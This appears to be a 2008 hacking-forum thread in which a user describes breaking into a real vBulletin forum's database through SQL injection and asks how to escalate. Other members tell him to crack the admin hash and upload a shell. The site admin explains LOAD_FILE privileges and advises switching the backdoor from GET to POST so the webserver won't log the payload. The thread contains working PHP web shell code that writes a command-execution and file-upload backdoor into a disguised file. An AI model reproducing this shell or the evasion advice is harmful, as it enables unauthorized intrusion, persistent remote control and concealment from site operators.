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www.waraxe.us Forum Index -> vBulletin Board -> Got access to db, but don't know what to do...
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Got access to db, but don't know what to do...
PostPosted: Sat Apr 19, 2008 6:36 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




Hey

I managed to get full access to the forum database through a mod sql injection. Now the problem is, it takes ages to crack the passwords since they're salted. I know I can change my user status to admin, but that would raise a big red flag, so I was wondering if anyone has experience with load_file.
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PostPosted: Sat Apr 19, 2008 7:12 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try to decrypt admin hash and log in into admin panel.Then just upload shell.
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PostPosted: Sat Apr 19, 2008 7:17 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




i've got an amd 1500 with 512 ram... how long do you think it will take it? Laughing

I'll make myself admin then upload shell then make me a normal user again.
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PostPosted: Sat Apr 19, 2008 7:45 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




bleh wrote:
i've got an amd 1500 with 512 ram... how long do you think it will take it? Laughing

I'll make myself admin then upload shell then make me a normal user again.


10 seconds or 10 years.No body know.
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PostPosted: Sat Apr 19, 2008 7:51 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




I have been running passwordpro for over 3 hours and nothing. I will just let it run. Meanwhile I'll do my hack in the middle of the night so there will be few people online Very Happy

I've tested this backdoor for the plugin on my local vb, and it works. What do you think of it?

Code:

$f = fopen("mod_cp.php", "w+");
fputs($f, "<? system($"."_GET['c']); ?>");
fclose($f);
chmod("mod_cp.php", 777);
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Re: Got access to db, but don't know what to do...
PostPosted: Sat Apr 19, 2008 7:52 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




bleh wrote:
Hey

I managed to get full access to the forum database through a mod sql injection. Now the problem is, it takes ages to crack the passwords since they're salted. I know I can change my user status to admin, but that would raise a big red flag, so I was wondering if anyone has experience with load_file.


You can use "LOAD_FILE()" only if you have FILE privileges. I'd say, that most of the real world servers will not give FILE privs to casual user. If website is hosted in shared environment (shared hosting, virtual server), then probably you can't do LOAD_FILE. If website is located on dedicated server (for example website of some organisation, school, etc), then you MAY have FILE privileges, IF admin was lazy enough to not have trouble with security Smile
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PostPosted: Sat Apr 19, 2008 7:56 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




bleh wrote:
I have been running passwordpro for over 3 hours and nothing. I will just let it run. Meanwhile I'll do my hack in the middle of the night so there will be few people online Very Happy

I've tested this backdoor for the plugin on my local vb, and it works. What do you think of it?

Code:

$f = fopen("mod_cp.php", "w+");
fputs($f, "<? system($"."_GET['c']); ?>");
fclose($f);
chmod("mod_cp.php", 777);


Use $_POST or $_COOKIE, because $_GET means, that webserver will log your payload ...
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PostPosted: Sat Apr 19, 2008 8:59 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




waraxe wrote:

Use $_POST or $_COOKIE, because $_GET means, that webserver will log your payload ...

Oh crap, that's not good Very Happy
I've rewritten it. Thanks! Smile

Code:

$f = fopen("userprofile.php", "w+");
fputs($f, "<?
if (@$"."_FILES['f']['tmp_name'])
move_uploaded_file($"."_FILES['f']['tmp_name'], dirname(__FILE__).'\\\'.basename($"."_FILES['f']['name']));
if (@$"."_POST['c'])
system($"."_POST['c']);
?>
<form enctype='multipart/form-data' action='userprofile.php' method='post'>
<input name='c'><br>
<input name='f' type='file'><br>
<input type=submit value=Ok>
</form>");
fclose($f);
chmod("userprofile.php", 777);
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Got access to db, but don't know what to do...
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